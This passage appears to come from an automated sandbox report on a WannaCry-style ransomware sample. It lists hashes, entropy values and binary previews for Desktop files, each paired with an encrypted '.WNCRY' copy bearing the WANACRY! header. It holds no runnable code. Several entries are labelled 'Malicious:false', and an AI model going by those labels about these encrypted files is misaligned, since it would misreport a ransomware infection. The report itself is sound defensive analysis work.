                                                                                                                                                                              SSDEEP:24:bk626R6+Iz9FEBUV/9HysgAwkBTzPqeBD4l4NUIQ5mriFyeA252jwxU4sNQk:bk36RnIb8UV9ysbwC7c4NUj5mGFyrPDx
                                                                                                                                                                              MD5:CC498B43746A756FA05D2A64036A233D
                                                                                                                                                                              SHA1:B8A413FEE8D9DC82EBB61FC67B81AFCDEDF59191
                                                                                                                                                                              SHA-256:68531C145B2514F9F7F25D6DD3458D0BFCFCD023331048A232034269CC47EC59
                                                                                                                                                                              SHA-512:5E0BCE41B4312E65BFF9EA9453E36E98EF1619CC1AE50AE6B7EE22656C102041B8567EF2F151F3D10105B437D7E7A308E0C80FF93FC3E0A23084F473578EA644
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....1.....y..eN.....S..`r.........|.Ai./E-....R=.c>b..$....TT.9.O.\-l.&V..'......&.IC..F...m|..V..x...6.jo.ejV.6.u..*=.4.4v....<..e.^n..1O.d...9.....tM..H..C.d1EA..S.]e.E. .3...U...6.h.<.4..h&...2.tDz.i...7.l..{.DnI....de:.,...J.........JL.............;..W. .Y....8Q.R._.F:.i.z...L,.`.Oe.t..2.~....Q|.#............_K..{f....._...g.*..P_>|..y............Xg]u.;......+n.sR.s..|...WX..2...EY..4 6D.-.P..1......4..W..........#'@q.#{..C..V...N..0Cy...F.......R....5..[...U.$..].....T,.$.+@. ...q..1V....!....v.sC....Q...h...qsV./..2Hj.'.')..7...q.r..!BA...&I=.G+4I..%.O...:e...i.o....'....%k2rE...IW"`B=....3a.....I...y....B..mfq..t..........^!....N@...C.l...,..Px:yCt.p"...:XV:.\.9.....n.\.x....f.W-..{YqFw[.n..=..3...5.....k.C9....T..j...h.D.3N.8.......D..D...x.j+.A...G.'....pT.c}..DI.*l9U.K...Q....g...KbD.D....m6`.g..........#tx...........M...mi,+"T..4.N.&T....5....n...bP.o@..........WLXf..._d...V@[..%>).+.sj8.|(a..%.../R..6..ME0....'..)

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\PALRGUCVEH.jpg

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.792622560545607
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:paeikMvqRVN5kNEwkBztY9Vi9FB69C+QrnuxslVxFWbjo:prikMOV/kNp0z+8pomuQ+o
                                                                                                                                                                              MD5:50876EB83ADDF0912EC7ADC4F98CAA75
                                                                                                                                                                              SHA1:68CEA8F8D4DFF5EF1DE047CFCBE1BAF69DDB6861
                                                                                                                                                                              SHA-256:4D7F37E0B0000F5C00C2E6917B67D06CA0C0C8E198834BCE09E8BC9A0E7DF5D1
                                                                                                                                                                              SHA-512:30A182D8D2ACCC3BEA4C0D7FE07CAA71704279104CE947162C3A9A8D63DDEB5ADB254AAAE4E035BF6BC16BA9432BCC735742384E7F5C4E37942CC8DCB00866AD
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..n...%...".W.o*wG2.e..',..|].....X...{7.....Dh..!.~.KD.;.1.."Y=.Jf../.qM..s.......v.i?...4W#\wb..&.B...B...J|.d2u.)E..#._Wv....Lc.......+tO.[G.d.b.2.@.H.b.0.\..2fA.q...T.N..y.$...).AJx..^......%.......,)j?X.E....G..nn..(d.L..3.|..;Ky....`...p1..-*)c.W...e.Qn.3..'...HP.,.6..dKZ..Pi..^.-<N.un+....^v&+..;.ZOF....b.Y..Dh.>_...B.{.4.c.m|...:HD~ .*T...5k...J.n..P...8.%..j..aEk....@..0K.\.P....}!A".....UMMC..h..C..8m....>..... .B.n.P4.ym.A<.b{.]_ ......n_?N..!H.G.E........g.m...E>.U.........q..d......ZGHv.|..VU1qw4..mj.0...0..qZ...p*......{Z..R.........S.>Z.LbyL.:+.y...`..........i.dp.V7.Mr5..J..'(..V...u..+.......^.%m_...0.tz.q4.m.....Y..F./g..q...ZI7.y....s..........T.T....5Mi.....Q7.A+.q......g...2...../LJ....%....v......Ep.h.n.;l..?&q..X....}.s..k.pw|ll....A.h..>k..K.u@Y|ic.k....t....N`!..W.P@H..+QG.r..IYI.K.f......|..k..5.{.#&.....kS.H...D..wfw....%.P.E.`.5<.z4..jX.."....l...$Cl..vN.U.g.=.Na=.@#N^.Y,.|y......)/....Gvl._.w..6#].)a.|..

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\PALRGUCVEH.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8435681148541025
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk08mRLbu0OYqyYoWZFMTI3Er43aiTOP+v9KKuZ9N8CFP37pWUuFv9rAXRKrTzVt:bk08EbvtqVtUK+AO2v95ud8cxE9rAXR8
                                                                                                                                                                              MD5:F5AF91F19DB8BAC1603E51113943D3FC
                                                                                                                                                                              SHA1:B525319548E57BE27FC83E4E83B8EAE79BBF444E
                                                                                                                                                                              SHA-256:9E999147E192400D688495B7F068EA8BF813DB0FD79558DDDDDFD626F0358A63
                                                                                                                                                                              SHA-512:179DE8BE054573799574A78BAA4CEE04F61FC7405859762D86EACD4237D8F3FB6CB714AAA8AB723CD61D53540264236276E8C076F4A3706632908BFDA90C092C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....T.GE..j.J2.......l.........+F.}:.K@u.............hU...f.&_...<..l.J-...\x..:IA.`....9.sM.*1.l...4I>P.0..T...Hoo?D.....h.@....'*....,V..|..Pa..../@H.N..&.pp.......[.nG.z=`.G..a.t.KO....q.....@$......T0.[..5....t...._...y...4o.....@\.,Hd*.gp..............>o#.....:)".......,...s9.`d.h.....E......X..Up.9Q..^I.a......Q.S.6...{...D..O..Qy.....U*d;........"U'...$}H....M|.i...=._c..]8<...2..(!.1.d{.....22..E...P._...yR)...V.v}...kZ.......K<....(.[.D.G...o..hb..i.n-..D.{.K.@J...R..... .>.~..A.A...y....8.a._$"a%.(E....V.2;..Z.k=s .y...c....P..6.....^.U..@......5_.]L...^..5..Lju.Q....ua.Gv.]'....r...(......N}.8`..\t_.o.....>.@V.u.....(.......=.... z. %...!dH.......z......_..`n?L.v.W9..."I..>..p...p.....VX..00.V.bD....,.&....e......j*p\.`...9.j7....:.d.B.`a.JX.fE[.+V.w.j.......M...g...p.P....z#.)7.s.*<fL.x...s...w...._...S.2X....g.<R>sd.j.I........E...0q..^7...U. [.Zs-.....g.........d..............'J...e5L.i..3Y.s..fg.5..

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\PALRGUCVEH.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8435681148541025
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk08mRLbu0OYqyYoWZFMTI3Er43aiTOP+v9KKuZ9N8CFP37pWUuFv9rAXRKrTzVt:bk08EbvtqVtUK+AO2v95ud8cxE9rAXR8
                                                                                                                                                                              MD5:F5AF91F19DB8BAC1603E51113943D3FC
                                                                                                                                                                              SHA1:B525319548E57BE27FC83E4E83B8EAE79BBF444E
                                                                                                                                                                              SHA-256:9E999147E192400D688495B7F068EA8BF813DB0FD79558DDDDDFD626F0358A63
                                                                                                                                                                              SHA-512:179DE8BE054573799574A78BAA4CEE04F61FC7405859762D86EACD4237D8F3FB6CB714AAA8AB723CD61D53540264236276E8C076F4A3706632908BFDA90C092C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....T.GE..j.J2.......l.........+F.}:.K@u.............hU...f.&_...<..l.J-...\x..:IA.`....9.sM.*1.l...4I>P.0..T...Hoo?D.....h.@....'*....,V..|..Pa..../@H.N..&.pp.......[.nG.z=`.G..a.t.KO....q.....@$......T0.[..5....t...._...y...4o.....@\.,Hd*.gp..............>o#.....:)".......,...s9.`d.h.....E......X..Up.9Q..^I.a......Q.S.6...{...D..O..Qy.....U*d;........"U'...$}H....M|.i...=._c..]8<...2..(!.1.d{.....22..E...P._...yR)...V.v}...kZ.......K<....(.[.D.G...o..hb..i.n-..D.{.K.@J...R..... .>.~..A.A...y....8.a._$"a%.(E....V.2;..Z.k=s .y...c....P..6.....^.U..@......5_.]L...^..5..Lju.Q....ua.Gv.]'....r...(......N}.8`..\t_.o.....>.@V.u.....(.......=.... z. %...!dH.......z......_..`n?L.v.W9..."I..>..p...p.....VX..00.V.bD....,.&....e......j*p\.`...9.j7....:.d.B.`a.JX.fE[.+V.w.j.......M...g...p.P....z#.)7.s.*<fL.x...s...w...._...S.2X....g.<R>sd.j.I........E...0q..^7...U. [.Zs-.....g.........d..............'J...e5L.i..3Y.s..fg.5..

                                                                                                                                                                              C:\Users\user\Desktop\EIVQSAOTAQ.jpg

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.81950384173071
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:humugT7hk3KOxexV4DJF92Y26jkCtqi9kuYkeaIaZk:pu2hMKOQ4cV+keYkJ6
                                                                                                                                                                              MD5:95CE44AA9409676C7B8FC115302F37D8
                                                                                                                                                                              SHA1:D04E75D3BA07F89275C42A2C6265B450E8EAA039
                                                                                                                                                                              SHA-256:860CBA01ACD08537546352DD959828E37417F17EEE937DFCCDE89B84C8F26967
                                                                                                                                                                              SHA-512:78C7B30A0F628ACCE6922C61310F9E06DF1E8C32C570CDCE22761FEC8ED6243281C83632F3577F01BF30F5026E7C6F912419B075400E8010E28F9B3691218829
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:......l.uy..g.=+.:.&..'.E....SX...h..|N.......<'...}....p.5.+...$5.........{..e.S(;@m...s.J..ZU.....i..g....\.q....&."..i.."S.W1u.U.MUrH(.......OA..2U$#TB......c..mkeW...Ns]..I;+..b.w2i.J...X.)... ..{....U|y~]..Z..q....se...J(...i..N&....H2...rWi.."m....}.8..(2...........S.?g.'C..'.}..P(.........Z..I...l..".z...K. .u.H..)9(....w...PE.H...'....@.@J.[..[*KsV..3.....<..iw.....W........7.O>...q.%.:...dq...(.%."4}H.....df.........p@..~......*.k...z....M..'..`..@be?a.x=. .x.".7..z..|{....o..@.....{/...]d....p.f9A.F....Q ?......#....Uv.#.0.D....{. K7FFho.iN.(.....5,H......@.9.....!I..?..3.......^..x~.^}..%|..SMV..b..Y.rnC!...u.b.j.~(..>8.......D..9^g.....u/(.$+..O..d.R...i.H..ok..i........95.*.S...Z.d..._..BJ......a.~B.G.z......_D.Ih...h.p1S..f....F..a^D.kv.\...7b.?^......>.2......k......r.z.X.EZ.........@....Lp$....A....+1.A./..7>^....[..b..n.5r.^.\...9.T....L...P.......#...y.L..2..~$t.. .U...j._-.%.'.....'_6.z.Qr...Z?l.(._.s.ER...(8...7{.u.r..]'.zUG2.@.

                                                                                                                                                                              C:\Users\user\Desktop\EIVQSAOTAQ.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.859805764046622
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkOC/fJD5FR0PtUR6m1mPfUx130Xrc0NpVj7zJeR0eF1bvFAwd:bkOW5FRSxSIr3It+wd
                                                                                                                                                                              MD5:AFEEA89338F0764F6EA9E926E2341DAB
                                                                                                                                                                              SHA1:E1B40253996D6268113950072408F3E3B7148152
                                                                                                                                                                              SHA-256:B86F9DAB3A4E417E02A7B3184E1BC0C1C1DA95A55C6A3F56144573AD023C39B9
                                                                                                                                                                              SHA-512:3B75986A1A20FE1F6F976B72558638F1D2103115A056E65AC0CC9CE440F7EC6DA383C7D8BC8010DFBED4AFD8A4FCD3264992F59F54A268A36BEDC8E164E6B4F3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......(SY..<..T.'..N.!!..t....=...E.......@0.dfh..C..._..b:X......F\Y...k.V2,.........).+.@...#n.....t.G4..X....m.........S.M.C.y..e.c.D-V....v>e.{...[\.3a!....ylc..........."..~..,u.+..V.Ht..}.......?E.. ......(....P...).<{..S81...8Ot...c..c..x...b.............hv...l=Dg#....9..5..N^J.7.*?..z..a..},..W~..,#.....3...K.\..kQ%..Px..a.z4.....F.\E(S.5.......:...5...<..f;.'."\.[Q,......:a.f... ..v..=...F......#..+y...l.[...."...Db.|..t.h.......Tln.....%..h...=.gx.0`...q</RI..}...7....W......(...FW3......].n.8&.Z.Qr"..R..t.A..v.X).(..2.yB.j.....2..fX....<...G.dg.s....4.P.x.....m..=..gD...~l....3d..Nj.......W I.....zzI.....g.b.#..r".).w.Z....X.Ov.R=....x...rH.....X..,..(..s.-4..3...|s.Z....P.?.Ppn.j.~..R....y.......N.<...<.....X..}'...4.........i.Z4...1w..HZ..Us.Kz.X..C.^....Y.2.$g..}'..KCt.4-..XrQh5O..h.2.vM....O%.r...nc90..9......z..q.B...d....%...5...Q.A.2....?K3.D*./..y.k.!$...^e...[...\.....-.<..d......5K..@..%.$a.g.w.#.L

                                                                                                                                                                              C:\Users\user\Desktop\EIVQSAOTAQ.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.859805764046622
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkOC/fJD5FR0PtUR6m1mPfUx130Xrc0NpVj7zJeR0eF1bvFAwd:bkOW5FRSxSIr3It+wd
                                                                                                                                                                              MD5:AFEEA89338F0764F6EA9E926E2341DAB
                                                                                                                                                                              SHA1:E1B40253996D6268113950072408F3E3B7148152
                                                                                                                                                                              SHA-256:B86F9DAB3A4E417E02A7B3184E1BC0C1C1DA95A55C6A3F56144573AD023C39B9
                                                                                                                                                                              SHA-512:3B75986A1A20FE1F6F976B72558638F1D2103115A056E65AC0CC9CE440F7EC6DA383C7D8BC8010DFBED4AFD8A4FCD3264992F59F54A268A36BEDC8E164E6B4F3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......(SY..<..T.'..N.!!..t....=...E.......@0.dfh..C..._..b:X......F\Y...k.V2,.........).+.@...#n.....t.G4..X....m.........S.M.C.y..e.c.D-V....v>e.{...[\.3a!....ylc..........."..~..,u.+..V.Ht..}.......?E.. ......(....P...).<{..S81...8Ot...c..c..x...b.............hv...l=Dg#....9..5..N^J.7.*?..z..a..},..W~..,#.....3...K.\..kQ%..Px..a.z4.....F.\E(S.5.......:...5...<..f;.'."\.[Q,......:a.f... ..v..=...F......#..+y...l.[...."...Db.|..t.h.......Tln.....%..h...=.gx.0`...q</RI..}...7....W......(...FW3......].n.8&.Z.Qr"..R..t.A..v.X).(..2.yB.j.....2..fX....<...G.dg.s....4.P.x.....m..=..gD...~l....3d..Nj.......W I.....zzI.....g.b.#..r".).w.Z....X.Ov.R=....x...rH.....X..,..(..s.-4..3...|s.Z....P.?.Ppn.j.~..R....y.......N.<...<.....X..}'...4.........i.Z4...1w..HZ..Us.Kz.X..C.^....Y.2.$g..}'..KCt.4-..XrQh5O..h.2.vM....O%.r...nc90..9......z..q.B...d....%...5...Q.A.2....?K3.D*./..y.k.!$...^e...[...\.....-.<..d......5K..@..%.$a.g.w.#.L

                                                                                                                                                                              C:\Users\user\Desktop\EOWRVPQCCS.mp3

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.781076199453879
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:JY8trET5tyBVlYpUCa1Zjk5Du/G/7vxDTPz/wK6s1PyF:LtAVCVSW5jkbjxDv/d6s1o
                                                                                                                                                                              MD5:BDC98C0D9D4B8A67A25769C513C4F6F2
                                                                                                                                                                              SHA1:38BD5CF8A4962902D3DF965914F724EA7CE46D5F
                                                                                                                                                                              SHA-256:B1FD3345A55DEC5998A1159DFF47DD9ED504AFE0B23CE37DBC2236B2550AC239
                                                                                                                                                                              SHA-512:4778C7A3A0071A6B50C868C8563C4CBACC66A101B5614BFACB846AB8AC2C9CC640796E4A885F1BBB05C32397436CD91827436EE6AFCEA99009730784B36E6E2F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:eY.....&+yF?L.tlP..X. >1G[.1.....O..x.^<..M....R.]uR.O6. ..|[.;.XI.$..E|.6T.'....7w..;.....d.J...D;......~..DbE..@....x.Hiq..{.(..|%...........2.rf._.aR........R.$jjM.....7..........J..Air.@Go.-..]..QW5._....."1(....1..Px7X! .}.G.x..+...?,.....:BX=...do.C.<g.......>...Z......Z.....'4..n.R/oFY..@.xvV>.% ..Rr4AV'~..M...!E...H...........a...o...2.z..g....C..Wcx.%..$....I@.V..x..F...4Z<......F@....Y(.^..IiT....$+...L..AO.w.U;.....e....l"...U.icj..S{.i..^........}.1.:li.v......@.[yZ2.....,.J..Rl+. .W.Ii../?..T[.|..+...`@.....@.w..4."..[.[...2......6.F.m.vl2Z.].._.#......M2.9.O.(K..:.Y^R...^......<?...S....&...-akQw-..!...s...]|.V.#o7a.W.kFo..z.sbWg.E..R-sh...mJu.(........-.*......w...{6.M-.....:.^..?..u...s...'.....c.l.Z.(f..........b.(bF.}...|$.2..->.G.......?..)...rH.7|...|L0.C......x.../.`k..L."'4J.5..~...S.u\...'.M...`......N8p...K..\i......0..lV..v....1@2.k.3....T7^U].R..ciBCW....&.a.l.K..u....,...5.~...Dq`.E...>e...M.....jw...'dk$.....{?

                                                                                                                                                                              C:\Users\user\Desktop\EOWRVPQCCS.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.846801658239455
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkClg6hXurrTSVmbFKuqSpOyTcYlbxtgonRloUY47To9xwUtOW5:bkClxIrT+uqSpOyTblHgonDo5mo3wUtJ
                                                                                                                                                                              MD5:CBAA3A07CD6A55643C6D504C4D6C53C9
                                                                                                                                                                              SHA1:55056D94B494A61B1FED9B56BE32938BF1909CD6
                                                                                                                                                                              SHA-256:26A3A632EC27C8CF48491C0DCBB3103438446D165B69636F4A1A0F8455B54E83
                                                                                                                                                                              SHA-512:1AFECAD77B97DBF8CE6A7CEDC76899979088888735DB55F1345A20AC9454EBF761226C20B9AD1F2F84658D6EF02DD51A349EEBE744D19014EB342D935DA0B13B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....$..!...Z......]iA.x..*D._.Y..8.s..0..z.'gP..b..q.oV@m_..A}.MfzX.IyU....A.+!4...cH.A*.D..[..^..;...2?.1..#.......V.lD4..3.V*...(......h.....~...b.@.I.V.J..S.......|. ......w_....j...:..9......n..Z......p.."...NI.Z.u.2....5.yY....2...o....b..............9r..OEq.....;L.Y......%..4b..>),.mw...o.T.....h..5..1.......4...KXCR.*......&.^Uv.....UjM.a.E.Q..t.....,...a8D.....v..y..r.......D...j...2....B:..8j..y7}]..1.t.I.;....).. .....G.Q..."..E.g.$6.Q../..._.P..l1...l.?....?...Ba.*...%.d.[.T.F.?/.......[.p.L..)}.z..#.Q.. ...!2..Y..."..../......cq..ysL.5....@.3B..h...A..X...}H.a.Qy..cz.MM@c...t.F|N..f5..P......U.9.T..h..+)#=.CL#..J.W.Yb....re.J...&Y..l.mB9.7..v+.....T...-.......{..t.....{.'x*L..&..........xh.7$.*.=..#...Q...2...j..@`.......*\..1.....O.p..\......;|.n6Yd[..._{zM|;q..~5M....i......f.3.]...*g.a.t."DK../]ZG.e.Y...n..H.6...C.F..|...;..8.0..1Sy.?.p.u..-n.D....k.....r..,.....)...'U.U..H...kI.P.1>.V..6H..%....v...n

                                                                                                                                                                              C:\Users\user\Desktop\EOWRVPQCCS.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.846801658239455
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkClg6hXurrTSVmbFKuqSpOyTcYlbxtgonRloUY47To9xwUtOW5:bkClxIrT+uqSpOyTblHgonDo5mo3wUtJ
                                                                                                                                                                              MD5:CBAA3A07CD6A55643C6D504C4D6C53C9
                                                                                                                                                                              SHA1:55056D94B494A61B1FED9B56BE32938BF1909CD6
                                                                                                                                                                              SHA-256:26A3A632EC27C8CF48491C0DCBB3103438446D165B69636F4A1A0F8455B54E83
                                                                                                                                                                              SHA-512:1AFECAD77B97DBF8CE6A7CEDC76899979088888735DB55F1345A20AC9454EBF761226C20B9AD1F2F84658D6EF02DD51A349EEBE744D19014EB342D935DA0B13B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....$..!...Z......]iA.x..*D._.Y..8.s..0..z.'gP..b..q.oV@m_..A}.MfzX.IyU....A.+!4...cH.A*.D..[..^..;...2?.1..#.......V.lD4..3.V*...(......h.....~...b.@.I.V.J..S.......|. ......w_....j...:..9......n..Z......p.."...NI.Z.u.2....5.yY....2...o....b..............9r..OEq.....;L.Y......%..4b..>),.mw...o.T.....h..5..1.......4...KXCR.*......&.^Uv.....UjM.a.E.Q..t.....,...a8D.....v..y..r.......D...j...2....B:..8j..y7}]..1.t.I.;....).. .....G.Q..."..E.g.$6.Q../..._.P..l1...l.?....?...Ba.*...%.d.[.T.F.?/.......[.p.L..)}.z..#.Q.. ...!2..Y..."..../......cq..ysL.5....@.3B..h...A..X...}H.a.Qy..cz.MM@c...t.F|N..f5..P......U.9.T..h..+)#=.CL#..J.W.Yb....re.J...&Y..l.mB9.7..v+.....T...-.......{..t.....{.'x*L..&..........xh.7$.*.=..#...Q...2...j..@`.......*\..1.....O.p..\......;|.n6Yd[..._{zM|;q..~5M....i......f.3.]...*g.a.t."DK../]ZG.e.Y...n..H.6...C.F..|...;..8.0..1Sy.?.p.u..-n.D....k.....r..,.....)...'U.U..H...kI.P.1>.V..6H..%....v...n

                                                                                                                                                                              C:\Users\user\Desktop\EOWRVPQCCS.pdf

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.836426752769849
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:odl36v4yogG3a1nvSW7XIEqRYC1UAyzl3a1WBn42F6iwmJ/M6sF+Vz:of324Jj6OY2Jyzl3UWBaiTD
                                                                                                                                                                              MD5:0F50010744D940F161737D1A26935983
                                                                                                                                                                              SHA1:44D25CF9CC93A8990A6248345E94CFCA7E76149F
                                                                                                                                                                              SHA-256:AF47C3994235E0A717B8D86F2203C6DC3670A6FA155AE12ABDBA7B47C0255CF0
                                                                                                                                                                              SHA-512:06898EA1E2FC5FA1C89BC9322FF1E58F66B79E582149446BBFD101B5EAD0E4C3D8087B23942E3DC95BDA660C36032E0E3FA4C48301369903B905061AAB2A3C8B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..V'..}.z..........>a=..>.y.N:.6q.....o....&x...R&....Td......g.S..g.."..*.g...E(..Bb}.P{}|h0..?.)...L.;..A..D.u.F.4^.i7.HJ...}.]...u*.Rn.=@...J:,1.^./.4rpZg.GmL..w....z..n.q....2,^.H..(.....,.R..T-.\......@.46..9<y3..?.@.)K........).Y..+`...+/..35z...+.lH..u...W..qs..=...c.RE..-F..W....!.Es.....dr.5Oa..wcE.en}..ab..$..Y.1.:."..n..:...;Rj...$..q.A..5.lY.. .I-e...........!..........[(....|...UL:-|.......Y.|..ns..............G.._.K<KDJ...Y..{..R....t..|.&....E.).l......B8|..w....?<..-A..^u.!....U.(...zl}.:..[(..yM.m.%.....x....Y_.+vP.L.8.\......"!.....Sb.x....#...o...........O.$..=....g0.../Of.7...uU.....W.>.a..:...%x...."..#.}.GF...{..(^...c...V.'2..7..+....4.#..`Yxw.e.3...7b.ai.C.......,_.}'..\742.p.}..L..AwQ.......ye].et.|.)M....3..U....gy......K.....n..h.....8..?u@....(!h.._v[.y....}t...T..4....i i.s...........1..A(...hL.7.J7..]U...N..w.!I.X0L.0`..H..)......f.v.Cs........`..N...'H....~./`.8.A[...r..{...R8'..J!<X........[..A.X....

                                                                                                                                                                              C:\Users\user\Desktop\EOWRVPQCCS.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.819982071961894
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkLJ1GXwzHHUxo2/YasENcTWWaKcBBCvpy4GcRByS1N4z:bklOwYxo2/jX6aWaKHvs4nmSsz
                                                                                                                                                                              MD5:851114CFD4162CF2563A82F764175A85
                                                                                                                                                                              SHA1:2CAE7B69DB31E3526696276C545B73DCF2E0A4CF
                                                                                                                                                                              SHA-256:309D42F4184D595880D8F5BA46A40294660A4BC4DDDA958EE128B0307F9E7195
                                                                                                                                                                              SHA-512:5077ED9D95190067BE5862FFFAF47B5923751694C9808CBF85B6230B16C4D6A57BB9435D99F82368E4054E0AD9072BF17043A610D1367ACA131238D535C1E378
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....U...w......V..8n...A..oA...W..}....$....3..).r..@..)8...[....a{.......x.r....._4.F......-c..&k..u.1/...\..C{...b..b..&..D....Kq$ ..Y4...9..Q9gl.-.{h.Pg....ppx6s.HjY..r.K.d...-..0D./.n....>..6uM6.'.(w.N.wL..*..E.ASr....rr...2..: M.7...7.h.l/..............{_n...!..#..$.V-p.U....?8.jU.S-^{#..Y..T.wE..z.%.y.N....[.A...`.......v.. ....G{.........;..B!....h.$;. bmKX.BJ$.c&.....".$........Fq/..L;Mq..t.MaA.. ... .kf7..g.~....1..x.9..J;,.X.......c2...y.)\..8...m.?.n.i).4...3..0e&.....w.]....m...4..Q.&S..k].......8^..Q..f.E ..E.?...D.'.......eP.C.T....L....=..v.....e.\>ag........kn8P.."Q...)..2.....8...})a...7:=.8b.l...s.".6...........)8...(l......O.m...p...%..P..4w...c:.....D...../..Eb........?.y.B.O.=.>.z....~..p...\..U..&..2>..*....m..|D.>...z..a..A$S6.uMd..@g\!.=y.<.v.X..;K4*.b.#.......c5..}.....b.g...F.E.0C....pT.bc....oa.z./#..Tm.M\....,f..Y.C..,R.R....[d...Q0$......$.... .[.Q..u.........f.!.S .J...7T$..Qyj..f.fwNv.$...

                                                                                                                                                                              C:\Users\user\Desktop\EOWRVPQCCS.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.819982071961894
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkLJ1GXwzHHUxo2/YasENcTWWaKcBBCvpy4GcRByS1N4z:bklOwYxo2/jX6aWaKHvs4nmSsz
                                                                                                                                                                              MD5:851114CFD4162CF2563A82F764175A85
                                                                                                                                                                              SHA1:2CAE7B69DB31E3526696276C545B73DCF2E0A4CF
                                                                                                                                                                              SHA-256:309D42F4184D595880D8F5BA46A40294660A4BC4DDDA958EE128B0307F9E7195
                                                                                                                                                                              SHA-512:5077ED9D95190067BE5862FFFAF47B5923751694C9808CBF85B6230B16C4D6A57BB9435D99F82368E4054E0AD9072BF17043A610D1367ACA131238D535C1E378
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
